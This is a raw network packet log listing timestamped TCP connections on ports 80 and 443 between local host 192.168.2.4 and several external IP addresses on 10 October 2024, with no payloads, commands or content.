Oct 10, 2024 10:13:06.111409903 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:06.560838938 CEST	64570	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:06.565710068 CEST	80	64570	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:06.565799952 CEST	64570	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:06.565993071 CEST	64570	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:06.570897102 CEST	80	64570	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:07.273346901 CEST	80	64570	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:07.273380995 CEST	80	64570	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:07.273461103 CEST	64570	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:07.273905039 CEST	64570	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:07.273926020 CEST	64570	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.018585920 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.023813009 CEST	80	64571	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:09.023888111 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.040559053 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.045475960 CEST	80	64571	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:09.240598917 CEST	49749	80	192.168.2.4	132.226.247.73
Oct 10, 2024 10:13:09.748948097 CEST	80	64571	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:09.748979092 CEST	80	64571	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:09.749017954 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.749068975 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.749420881 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:09.749469995 CEST	64571	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:10.777388096 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:10.778527975 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:10.778621912 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:10.779177904 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:10.779234886 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:10.779267073 CEST	64569	443	192.168.2.4	13.85.23.206
Oct 10, 2024 10:13:10.779284954 CEST	443	64569	13.85.23.206	192.168.2.4
Oct 10, 2024 10:13:10.813992977 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:10.814095974 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:10.814184904 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:10.814517021 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:10.814543009 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.500814915 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.500927925 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:11.755363941 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:11.755460024 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.756450891 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.757416010 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:11.803407907 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.888057947 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.888238907 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.888313055 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:11.892585993 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:11.892631054 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:11.892657995 CEST	64572	443	192.168.2.4	20.109.210.53
Oct 10, 2024 10:13:11.892677069 CEST	443	64572	20.109.210.53	192.168.2.4
Oct 10, 2024 10:13:12.789340019 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.010554075 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.149096012 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.149293900 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.149341106 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.149389029 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.149458885 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.149831057 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.149842024 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.149889946 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.150466919 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.150517941 CEST	49775	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.151884079 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.151916027 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.154249907 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.154263020 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:13.154314995 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:13.154372931 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.154397964 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:13.154402018 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.154663086 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.154717922 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.154777050 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:13.154788017 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:13.154788971 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.155014992 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.155241966 CEST	80	49775	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.159821987 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.776850939 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.777101994 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.783073902 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.783169985 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.783308983 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.783658028 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:13.783698082 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:13.947304010 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:13.947427034 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:13.949538946 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:13.949568033 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:13.949883938 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:13.951512098 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:13.995452881 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.273704052 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.273730040 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.273744106 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.273812056 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.273833036 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.273896933 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.274657965 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.274713039 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.274966002 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.278753996 CEST	64574	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.278770924 CEST	443	64574	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.402729034 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:14.402836084 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.404938936 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.404968023 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:14.405245066 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.405256987 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:14.696393967 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:14.696479082 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:14.698532104 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.699536085 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.699584961 CEST	443	64575	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:14.699615955 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.699651957 CEST	64575	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:14.851494074 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.851594925 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:14.851681948 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.852029085 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:14.852058887 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.625021935 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.625093937 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.626374006 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.626385927 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.626594067 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.627445936 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.675401926 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.951988935 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.952053070 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.952095985 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.952121973 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.952152014 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.952164888 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.952194929 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.953124046 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.953198910 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.953216076 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.953248978 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.953274965 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.953358889 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.953469992 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.955028057 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.955041885 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:15.955051899 CEST	64576	443	192.168.2.4	4.245.163.56
Oct 10, 2024 10:13:15.955056906 CEST	443	64576	4.245.163.56	192.168.2.4
Oct 10, 2024 10:13:16.309753895 CEST	64577	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:16.316412926 CEST	80	64577	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:16.316499949 CEST	64577	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:16.316807985 CEST	64577	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:16.322882891 CEST	80	64577	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:17.040852070 CEST	80	64577	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:17.040873051 CEST	80	64577	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:17.041403055 CEST	64577	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:17.041403055 CEST	64577	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:17.041448116 CEST	64577	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:18.322957993 CEST	64578	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:18.327954054 CEST	80	64578	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:18.328027010 CEST	64578	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:18.328339100 CEST	64578	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:18.333103895 CEST	80	64578	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:19.030950069 CEST	80	64578	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:19.030972958 CEST	80	64578	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:19.031049013 CEST	64578	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:19.031379938 CEST	64578	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:19.031399965 CEST	64578	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:20.321466923 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:20.326558113 CEST	80	64579	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:20.326638937 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:20.326936960 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:20.331696987 CEST	80	64579	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:21.060559034 CEST	80	64579	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:21.060638905 CEST	80	64579	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:21.060694933 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:21.061007023 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:21.061182976 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:21.061554909 CEST	64579	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:23.662965059 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:23.668072939 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:23.840102911 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:23.840313911 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:23.849066019 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:23.849132061 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:23.849212885 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:23.849519014 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:23.849539042 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.470510960 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.470684052 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.471208096 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.471223116 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.471477985 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.471484900 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.768027067 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.768099070 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.768105984 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.768157005 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.768244028 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.768265963 CEST	443	64580	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:24.768287897 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:24.768378973 CEST	64580	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:25.872330904 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:25.877389908 CEST	80	64581	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:25.877460003 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:25.877667904 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:25.883227110 CEST	80	64581	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:26.593692064 CEST	80	64581	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:26.593748093 CEST	80	64581	64.233.184.82	192.168.2.4
Oct 10, 2024 10:13:26.593782902 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:26.593827009 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:26.594150066 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:26.594172955 CEST	64581	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:13:27.657617092 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:27.662631035 CEST	80	64582	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:27.666547060 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:27.666739941 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:27.671636105 CEST	80	64582	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:28.374680996 CEST	80	64582	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:28.374732018 CEST	80	64582	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:28.374823093 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:28.374949932 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:28.375267982 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:28.375267982 CEST	64582	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:29.322782993 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:29.327773094 CEST	80	64583	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:29.327872038 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:29.328036070 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:29.332921982 CEST	80	64583	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:30.055612087 CEST	80	64583	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:30.055681944 CEST	80	64583	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:30.055838108 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:30.055839062 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:30.057435989 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:30.062695980 CEST	80	64583	173.194.76.82	192.168.2.4
Oct 10, 2024 10:13:30.062767982 CEST	64583	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:13:32.013087988 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.018096924 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.045253038 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:32.045366049 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:32.045473099 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:32.045846939 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:32.045883894 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:32.190247059 CEST	80	64573	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.194617033 CEST	64573	80	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.271941900 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.271996021 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.272073030 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.272435904 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.272449970 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.888681889 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.888761044 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.889558077 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.889570951 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.889872074 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:32.889878988 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:32.912081957 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:32.912218094 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:32.930454016 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:32.930489063 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:32.930967093 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:32.979346991 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.048991919 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.091434956 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.161695957 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.161725044 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.161731958 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.161770105 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.161801100 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.161998987 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.162058115 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.162118912 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.184333086 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:33.184400082 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:33.184427023 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:33.184467077 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:33.184597015 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:33.184614897 CEST	443	64585	51.81.194.202	192.168.2.4
Oct 10, 2024 10:13:33.184628010 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:33.184665918 CEST	64585	443	192.168.2.4	51.81.194.202
Oct 10, 2024 10:13:33.243736029 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.243776083 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.243895054 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.243944883 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.243993998 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.250077963 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.250102043 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.250194073 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.250209093 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.250252962 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.331317902 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.331351042 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.331490040 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.331532001 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.331588030 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.332475901 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.332493067 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.332570076 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.332577944 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.332632065 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.333499908 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.333517075 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.333575964 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.333595037 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.333642960 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.338449001 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.338468075 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.338531971 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.338557959 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.338601112 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.420109034 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.420139074 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.420231104 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.420290947 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.420339108 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.420371056 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.420386076 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.420437098 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.420444012 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.420485020 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.420993090 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.421006918 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.421066046 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.421072006 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.421113968 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.422252893 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.422266960 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.422324896 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.422331095 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.422374964 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.423233032 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.423247099 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.423331022 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.423337936 CEST	443	64584	13.107.253.45	192.168.2.4
Oct 10, 2024 10:13:33.423382044 CEST	64584	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:13:33.424367905 CEST	443	64584	13.107.253.45	192.168.2.4
